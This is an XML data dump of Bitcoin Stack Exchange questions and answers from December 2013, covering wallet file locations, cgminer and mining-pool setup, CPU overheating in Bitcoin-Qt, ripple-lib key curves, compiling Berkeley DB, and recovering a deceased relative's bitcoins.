  <row Id="18729" PostTypeId="2" ParentId="17931" CreationDate="2013-12-14T13:22:11.543" Score="1" Body="&lt;p&gt;Are you sure you looked in the right folder? The path should be: &lt;code&gt;/User/your username/Application Support/Multibit/xxxx.wallet&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't find my wallet because I made the misstake to looked directly under root: &lt;code&gt;/Library/Application Support/&lt;/code&gt;  and got rather stressed but I found the path eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This cataloug is hidden and you have to unhide it with the commando in a terminal window: chflags nohidden &lt;code&gt;/Users/your username/Library/Application Support/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10817" LastEditorUserId="1891" LastEditDate="2013-12-17T00:09:08.453" LastActivityDate="2013-12-17T00:09:08.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18730" PostTypeId="1" CreationDate="2013-12-14T13:42:57.687" Score="2" ViewCount="1156" Body="&lt;p&gt;Im trying to get my nvidia gpu working with cgminer 3.7.2 &lt;br&gt;&#xA;(windows 8 x64)&lt;br&gt;&#xA;how could i make it work?&lt;br&gt;&#xA;here is what my list devices says&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CL platform 1 name: NVIDIA CUDA&#xA;CL platform 1 version: OpenCL 1.1 CUDA 6.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i try to run cgminer -d 1, It wont run.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;command line options set a device that doesn't exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10819" LastActivityDate="2015-06-21T10:21:55.060" Title="cgminer with an nvidia 710m GPU" Tags="|cgminer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18731" PostTypeId="2" ParentId="18727" CreationDate="2013-12-14T14:29:39.917" Score="1" Body="&lt;p&gt;Cgminer can be used to mine both LTC and BTC.  When executed to mine Litecoin one would need to add the command line switch --scrypt  It is also worth noting that the last version to support GPU mining and scrypt is version 3.7.2  Versions after that have all GPU mining capability removed.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-14T14:29:39.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18732" PostTypeId="1" AcceptedAnswerId="18734" CreationDate="2013-12-14T14:55:06.610" Score="3" ViewCount="712" Body="&lt;p&gt;I am using Ubuntu 12.04 and Bitcoin client v0.8.6.0-g03a7d67-beta and Qt version 4.8.1 as the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CPU is heating up and is automaticly shutting down after 30 minutes and sometimes after many hours. This is occurring  both while synchronising with the block-chain or while reindexing the blocks on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the CPU overheating my laptop (Dell Inspiron R15) switches off and has corrupted my sync. Other users have mentioned to start by typing in terminal &lt;code&gt;bitcoin-qt -reindex&lt;/code&gt;. At the the end of the index around week17 my CPU overheats again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading around I found topics about switching off the &quot;generate bitcoin&quot; option inside the bitcoin.conf file but on my Ubuntu (including hidden files) I can not find that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or help on this overheating issue?  I have also posted this on &lt;a href=&quot;https://askubuntu.com/questions/390737/bitcoin-is-using-90-cpu-power-using-ubuntu-12-04&quot;&gt;AskUbuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:01.473" LastActivityDate="2014-07-25T22:35:35.200" Title="Bitcoin is using +90% CPU power using Ubuntu 12.04?" Tags="|bitcoin-core|ubuntu|cpu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18734" PostTypeId="2" ParentId="18732" CreationDate="2013-12-14T16:20:26.853" Score="1" Body="&lt;p&gt;Using bitcoin-qt you can go into Helps-&gt;Debug Window-&gt;Console and then type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setgenerate false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default it should already be false so my guess is that you have a fast internet connection and that your computer receive a lot of blocks in a short time. Your computer then needs to check all the ECDSA signatures for the transaction and this can consume a lot of CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an overheating issue like that when I was mining litecoins with my laptop. I installed the &lt;strong&gt;cpufreq&lt;/strong&gt; package to decrease my cpu frequency about 30% and everything was fine then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a dual-core processor you should type something like this in your terminal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo cpufreq-set -c 0 -u &quot;1.8GHz&quot;&#xA;sudo cpufreq-set -c 1 -u &quot;1.8GHz&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-25T20:08:03.653" LastActivityDate="2014-07-25T20:08:03.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18736" PostTypeId="1" AcceptedAnswerId="18741" CreationDate="2013-12-14T17:05:04.563" Score="5" ViewCount="9818" Body="&lt;p&gt;There’s a lot of reference of &quot;bitcoin node&quot; in &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ&quot; rel=&quot;noreferrer&quot;&gt;official FAQ&lt;/a&gt; or &lt;a href=&quot;http://getaddr.bitnodes.io/&quot; rel=&quot;noreferrer&quot;&gt;elsewhere&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what is exactly a bitcoin node ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a client like &lt;a href=&quot;http://bitcoin-qt.net/en/download.html&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin-qt&lt;/a&gt; or is it only a miner ? Or both ?&lt;/p&gt;&#xA;" OwnerUserId="10084" LastActivityDate="2018-03-03T19:23:00.587" Title="What is a Bitcoin node?" Tags="|nodes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18737" PostTypeId="1" AcceptedAnswerId="18743" CreationDate="2013-12-14T17:10:43.803" Score="2" ViewCount="1053" Body="&lt;p&gt;I've read that some mining pools disappears all of a sudden, and your hard earned coins also disappear if you didn't transfer them ontime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do you go about picking a pool which isn't going to disappear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not done mining before, but want to try out litecoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it better for me to start mining without using a pool if that's possible?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-02T09:17:12.557" LastActivityDate="2017-08-25T07:02:46.627" Title="Choosing a mining pool" Tags="|mining-pools|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18738" PostTypeId="1" AcceptedAnswerId="18739" CreationDate="2013-12-14T17:24:23.010" Score="3" ViewCount="479" Body="&lt;p&gt;I have a basic question on mining.  How does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I use my computer to mine coins such as litecoins, do those coins go straight into my offline wallet?  Or must I be connected to some online centralised pooling service, which holds to coins until I transfer them to my offline wallet?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-17T20:22:46.507" LastActivityDate="2016-04-17T20:22:46.507" Title="How does mining work" Tags="|mining-pools|litecoin|mining-reward|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18739" PostTypeId="2" ParentId="18738" CreationDate="2013-12-14T17:34:55.067" Score="1" Body="&lt;p&gt;You will most likely be using a mining pool, in which case the coin you earn will remain on your pool account until you choose to withdraw it to your local wallet. Most pools support auto-withdrawals (i.e. when the balance reaches a certain threshold).&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-14T17:34:55.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18740" PostTypeId="2" ParentId="18736" CreationDate="2013-12-14T17:38:16.850" Score="1" Body="&lt;p&gt;&quot;Node&quot; refers to any computer that's running Bitcoin client software and participating in the peer-to-peer network by relaying transactions and blocks. It could also be mining, but it doesn't  have to.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-14T17:38:16.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18741" PostTypeId="2" ParentId="18736" CreationDate="2013-12-14T17:40:53.367" Score="5" Body="&lt;p&gt;Bitcoin node refers to a &quot;full&quot; client. A &quot;full&quot; client is a client that owns the block chain and that is sharing blocks and transaction across the network. In opposite a Lightweight client can not be considered as a node because he doesn't share the block chain with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin network uses a client to client network infrastructure so there is no difference between a mining client and a non-mining client, they don't have any privileges.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-03-14T03:09:41.393" LastActivityDate="2014-03-14T03:09:41.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18742" PostTypeId="2" ParentId="18732" CreationDate="2013-12-14T17:41:35.640" Score="0" Body="&lt;p&gt;Verifying and indexing blocks is computationally intensive, so it's not surprising that it would try to use all of the cpu time available. If your hardware isn't able to handle this without overheating, then you should try to fix your hardware.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-14T17:41:35.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18743" PostTypeId="2" ParentId="18737" CreationDate="2013-12-14T17:41:55.997" Score="1" Body="&lt;p&gt;If you are starting off, I will assume you do not have the computing power to solo-mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just easier to join a pool, and with regards to trusting one, I would stick with something that has been around for a while. For Litecoin I've used &lt;a href=&quot;http://wemineltc.com&quot; rel=&quot;nofollow&quot;&gt;wemineltc&lt;/a&gt; and have no complaints.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-14T17:41:55.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18744" PostTypeId="1" CreationDate="2013-12-14T18:24:30.960" Score="1" ViewCount="42" Body="&lt;p&gt;What is the most simple and reliable way to determine basic Bitcoin network attributes? By this I mean (estimated) total network hashing rate, difficulty, number of blocks solved, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are a ton of websites that can give me this. But I'm wondering if there is some easy and formalized way to read this data from somewhere that is not subject to suddenly change their layout (like a website). Also I'm not sure if a website would like me to use a program to fetch data from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is simply to write a small local socket based program that can do some statistics and extrapolation based on current (and previous, stored locally) data.&lt;/p&gt;&#xA;" OwnerUserId="10798" LastActivityDate="2013-12-14T18:24:30.960" Title="Determine basic Bitcoin network attributes" Tags="|live-data|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18746" PostTypeId="1" AcceptedAnswerId="18787" CreationDate="2013-12-14T19:15:28.200" Score="1" ViewCount="491" Body="&lt;p&gt;I think I have cgminer configured and I want to connect to a mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a &lt;code&gt;.sh&lt;/code&gt; file with the following text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export DISPLAY=:0&#xA;export GPU_MAX_ALLOC_PERCENT=100&#xA;export GPU_USE_SYNC_OBJECTS=1&#xA;cd /home/oshirowanen/Downloads/cgminer-3.7.2-x86_64-built&#xA;./cgminer --scrypt -o http://&amp;lt;mining_pool&amp;gt;:&amp;lt;port&amp;gt; -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt; -I 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found this link for p2pool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://bitcointalk.org/index.php?topic=66182.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have decided to use the following pool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;California::USA::http://p2pool.stitthappens.com:10336/::1%::LTC::StittHappens::Red Emerald&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The format is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;City/State/Province::Country::IP Address:Port::Fee::Coinage Mined::Pool Name::Operator (Nick)Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, according to the .sh file, I should also have a password, but no password is provided in my chosen p2pool, i.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;California::USA::http://p2pool.stitthappens.com:10336/::1%::LTC::StittHappens::Red Emerald&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where do I get the password from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are those p2pools at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=66182.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=66182.0&lt;/a&gt; only for testing purposes after which you're supposed to configure your own p2pool?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-02T09:21:00.433" LastActivityDate="2016-04-02T09:21:00.433" Title="p2pool passwords" Tags="|litecoin|cgminer|linux|miner-configuration|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18747" PostTypeId="1" CreationDate="2013-12-14T20:31:05.000" Score="1" ViewCount="102" Body="&lt;p&gt;I have the black cube miners that work via cat5/network and have yet to be able to connect them to cgminer. I have looked all over the internet and haven't found anything about how to do it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So my question is can CGMiner connect to network miners?&lt;/li&gt;&#xA;&lt;li&gt;If so how?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="10804" LastActivityDate="2013-12-14T20:31:05.000" Title="Does CGminer work with Network miners?" Tags="|network|cgminer|proxy|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18748" PostTypeId="2" ParentId="18667" CreationDate="2013-12-14T20:59:34.690" Score="1" Body="&lt;p&gt;For those who are having the same problem, please note that rpcminers are not supported by many BitCoin Miners, this was my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to use GUIMiner and it accepted my first block just yesterday. No more blocks besides those yet, but well I'm just starting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the help!&lt;/p&gt;&#xA;" OwnerUserId="10673" LastActivityDate="2013-12-14T20:59:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18749" PostTypeId="2" ParentId="18712" CreationDate="2013-12-14T21:23:16.860" Score="2" Body="&lt;p&gt;I highly doubt it. Even the PCI-e connectors do not really matter. I've got less CPU power and RAM than you and my rig is controlling 4x 7950s at full potential. The CPU/Motherboard is essentially calling functions. The functions themselves are what cost so much, and those are computed by the GPUs.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-14T21:23:16.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18750" PostTypeId="1" CreationDate="2013-12-14T21:24:10.093" Score="2" ViewCount="974" Body="&lt;p&gt;The algorithm used by bitcoin to generate keys is secp256k1, is it the same for ripple? &lt;/p&gt;&#xA;" OwnerUserId="9004" LastActivityDate="2014-02-12T23:26:13.823" Title="What is the Elliptic Curve algorithm used in Ripple to generate public / private key pairs?" Tags="|ripple|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18751" PostTypeId="2" ParentId="18750" CreationDate="2013-12-14T21:32:13.883" Score="2" Body="&lt;p&gt;Yes in ripple-lib the default elliptic curve is set in &lt;a href=&quot;https://github.com/ripple/ripple-lib/blob/develop/src/js/sjcl-custom/sjcl-secp256k1.js&quot; rel=&quot;nofollow&quot;&gt;sjcl-custom/sjcl-secp256k1.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Overwrite NIST-P256 with secp256k1 so we're on even footing&#xA;sjcl.ecc.curves.c256 = new sjcl.ecc.curve(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;a href=&quot;https://github.com/ripple/ripple-lib/blob/develop/src/js/ripple/keypair.js&quot; rel=&quot;nofollow&quot;&gt;keypair.js&lt;/a&gt; when a new key pair is instantiated its &lt;code&gt;_curve&lt;/code&gt; attribute is set to secp256k1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function KeyPair() {&#xA;  this._curve  = sjcl.ecc.curves['c256'];&#xA;  this._secret = null;&#xA;  this._pubkey = null;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5312" LastActivityDate="2013-12-14T21:32:13.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18752" PostTypeId="1" AcceptedAnswerId="18757" CreationDate="2013-12-14T21:53:19.477" Score="2" ViewCount="1586" Body="&lt;p&gt;I've been working on setting up the proper environment to compile litecoin, and have been following the instructions from this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=1dl8pkva2oqpjsd3h455k7hrj7&amp;amp;topic=149479.0;all&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?PHPSESSID=1dl8pkva2oqpjsd3h455k7hrj7&amp;amp;topic=149479.0;all&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2.2 Berkeley DB: &lt;a href=&quot;http://download.oracle.com/berkeley-db/db-4.8.30.NC.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://download.oracle.com/berkeley-db/db-4.8.30.NC.tar.gz&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We'll use version 4.8 to preserve binary wallet compatibility.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;From a MinGW shell unpack the source archive, configure, edit line 113 of db.h then make:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /c/deps/&#xA;&#xA;tar xvfz db-4.8.30.NC.tar.gz&#xA;&#xA;cd db-4.8.30.NC/build_unix&#xA;&#xA;../dist/configure --disable-replication --enable-mingw --enable-cxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;after configuring make sure to edit your build_unix/db.h by replacing line 113:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef pthread_t db_threadid_t;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;with&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef u_int32_t db_threadid_t;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was all set to do it, but this happened:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LJC4o.jpg&quot; alt=&quot;The build_unix folder is empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried getting db-4.8.30.NC from multiple sources, but no luck—the build_unix folder is always empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the deal?&lt;/p&gt;&#xA;" OwnerUserId="2915" LastEditorUserId="2915" LastEditDate="2013-12-14T22:18:52.643" LastActivityDate="2014-02-13T03:26:14.600" Title="I'm trying to compile bitcoind on Windows but build_unix for db-4.8.30.NC is empty. What do I need to do?" Tags="|windows|compiling|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18753" PostTypeId="2" ParentId="18663" CreationDate="2013-12-14T22:15:25.127" Score="2" Body="&lt;p&gt;There is no general answer for all cases; it will depend entirely on the ways he chose to store and secure any Bitcoins, which vary a lot from person to person.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to have a trusted person look through his effects, both digital and physical. This person should be both an expert in the systems your brother used, and Bitcoin itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this person is able to access his computer, phone, and backups – not just physically handle them, but also examine their digital contents past any logins or local encryption – then it will be more likely they would be able to determine whether he had any holdings. Similarly, access to his email accounts, or any other notes about logins/passwords, would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even finding confirmation of his holdings might not grant access. In typical cases, the ability to control a Bitcoin balance is limited to those who know an impossible-to-guess secret (cryptographic private keys). If he hasn't left any accessible copies of this secret, or all such copies are protected by a strong unique password that you can't guess, there's little hope. The balance is lost to the world, and essentially destroyed – no one else will access it either (so no one else can 'give it back'). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet might be if he held balances at businesses that verified his true-life identity via banking links or government-issued IDs. (Examples of such businesses would be exchanges and payment-processors like Coinbase or MtGox.) In such a case, with reliable information that he is deceased and that you are his rightful heir, the balance may become available to you. (For a long-lived business operating under usual laws, his absence for a long-enough time could trigger attempts to contact him, and perhaps transfer of his abandoned property to a governmental entity, such as a US state's lost/abandoned property agency. I've not yet heard of this happening with Bitcoin, but consider it likely in the next few years.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if he used a local install of his own wallet software, such as the original Bitcoin-QT, Multibit, or Android Wallet, you might gain access to the balance if his local security was no greater than the machine's own login-screen/lock-screen (and especially if you have that password). Such local wallet programs do not necessarily add extra unique passwords. Where they do, that password could be a fatal block – or perhaps something something family or heirs could discover or guess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if he held significant amounts for the long-term, he might have printed/written private-keys. (&quot;Cold storage&quot;, for slow access much later.) Again, an expert would likely recognize the usual forms of such keys, if they see them among papers/notes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, though, in such cases you are hoping that he left sufficient clues, or otherwise chose to leave his devices or papers in a state where later possession would be enough to access the Bitcoins. Some people do this; others who are more careful or paranoid do not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had a strong indication that the amount was very large, and no simple efforts succeed, there's always some chance that heroic, expensive efforts – as might be used by a digital forensic investigator in a major legal or historical case – could enable access, even against the owner's careful intent, because of mistakes or unintentional information leakage. (For example, incompletely-deleted remnants of an earlier unencrypted wallet file might remain on a hard drive or old backup, or access passwords might be brute-guessable variants of other passwords leaked via other caches.) But, such approaches involve serious expertise and cost with no guarantee of success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry for your loss and wish you luck in discovering and accessing whatever Bitcoin balances that might exist. &lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2013-12-15T05:04:52.147" LastActivityDate="2013-12-15T05:04:52.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18754" PostTypeId="2" ParentId="18663" CreationDate="2013-12-14T22:47:53.313" Score="0" Body="&lt;p&gt;and sorry for your loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might do a file search for &quot;wallet.dat&quot; on his computer(s), and search the entire disc(s), including subdirectories, and hidden files.&#xA;Note which directory it is in. If it is in a &quot;bitcoin&quot; directory, you may have found the wallet. If you did, then just try and launch his bitcoin client (program) and see if you can access the wallet data. If it somes up, it will show you a balance.&#xA;If there is no balance, then any BTC that he had, might have been kept in an &quot;exchange&quot; wallet, or paper wallet, somwehere on the internet.&#xA;if there is a balance, it can be transffered to another wallet, or sent to an exchange for cash value. It could, possibly be protected by an encrypted password, which you would have to figure out, before you can do anything with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for a text files, also, (.txt file), that may contain his login and password(s). These could be under any one of a number of programs, like microsoft office, notepad, wordpad. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to give a bit more information, sowe can help more.&#xA;Which operating system was he using (windows 7, windows xp, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might let us tell you a bit better, what to have you look for.&#xA;Otherwise we are all guessing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep mine information in a text file, called &quot;(something)_login.txt&quot;, and I keep them encrypted, but I always keep a copy of the password. He ,might, also, keep them on a usb stick, if you see any laying around, which is the safest way to keep them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You ,might look for any file on the disc, named &quot;bitcoin*.*&quot;, with your file manager, under &quot;search&quot;...or files named &quot;&lt;em&gt;exchange&lt;/em&gt;.*&quot;, or any file with an exchange's name, such as &quot;mtgox*.*&quot;. This might give you a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can give more explicit instructions, if I know what operating system he is using (windows 7, windows xp, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were close to me, I could come do it for you, for free.&#xA;Others might charge you a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the file in encrypted, it may be a bit harder to access, as you would have to try and figure out what passwords he might use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I might, also, suggest, is that of you  have a computer geek friend, let him/her have a look around on the computer, to help, but keep an eye on him/her, as I trust no one. Don't let anyone remove anything, period. Make them work on it then and there.&#xA;BTC is worth a lot of money,, and you could loose a substantial amount, if he has been doing this for a while.&lt;/p&gt;&#xA;" OwnerUserId="10660" LastActivityDate="2013-12-14T22:47:53.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18755" PostTypeId="1" AcceptedAnswerId="18770" CreationDate="2013-12-14T23:18:19.220" Score="3" ViewCount="679" Body="&lt;p&gt;I have already read the following answer which is not really meaningful:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8439/why-was-21-million-picked-as-the-number-of-bitcoins-to-be-created&quot;&gt;21 Million Calculation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here's a mathematical explanation: &#xA;  Calculate the number of blocks per 4 year cycle:&#xA;  6 blocks per hour&#xA;  * 24 hours per day&#xA;  * 365 days per year&#xA;  * 4 years per cycle&#xA;  = 210,240&#xA;  ~= 210,000&#xA;  Sum all the block reward sizes:&#xA;  50 + 25 + 12.5 + 6.25 + 3.125 + ... = 100&#xA;  Multiply the two:&#xA;  210,000 * 100 = 21 million. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The total number is thus derived from the reward size and in either case does not provide much insight. I am a bitcoin fan but I am concerned about the deflationary risks in the distant future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is open source, if there are deflationary problems in the future can adjustments be accepted by the network to adapt? If so what might the possible solution entail?&lt;/p&gt;&#xA;" OwnerUserId="10840" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-15T10:50:08.803" Title="Why Reward Size 50 (21 Million Coins)?" Tags="|mining-reward|reward-schedule|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18757" PostTypeId="2" ParentId="18752" CreationDate="2013-12-15T01:11:15.873" Score="3" Body="&lt;p&gt;The build_unix directory contains just the .IGNORE_ME file in the distribution.  The directory is populated by the make command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../dist/configure --disable-replication --enable-mingw --enable-cxx&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You do not need to edit db.h in the latest distribution since they have already corrected the typedef.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-15T01:11:15.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18758" PostTypeId="1" CreationDate="2013-12-15T01:21:22.190" Score="2" ViewCount="785" Body="&lt;p&gt;I am creating my own altcoin on windows.  I've compiled everything, done the first build, found the hash and nonce of the genesis block as well as the merkel root, inserted them into the code, and recompiled.  When I try to run mycoind.exe, the command prompt says &quot;Error loading block database.  Do you want to rebuild the block database now?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it may be because I may have not mined the genesis block, but I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone out on the forums know what is causing this problem?  I will provide the code to anyone who can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10844" LastActivityDate="2013-12-15T01:21:22.190" Title="Creating own altcoin, error loading block database - Have Merkel and Genesis hash" Tags="|bitcoind|compiling|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
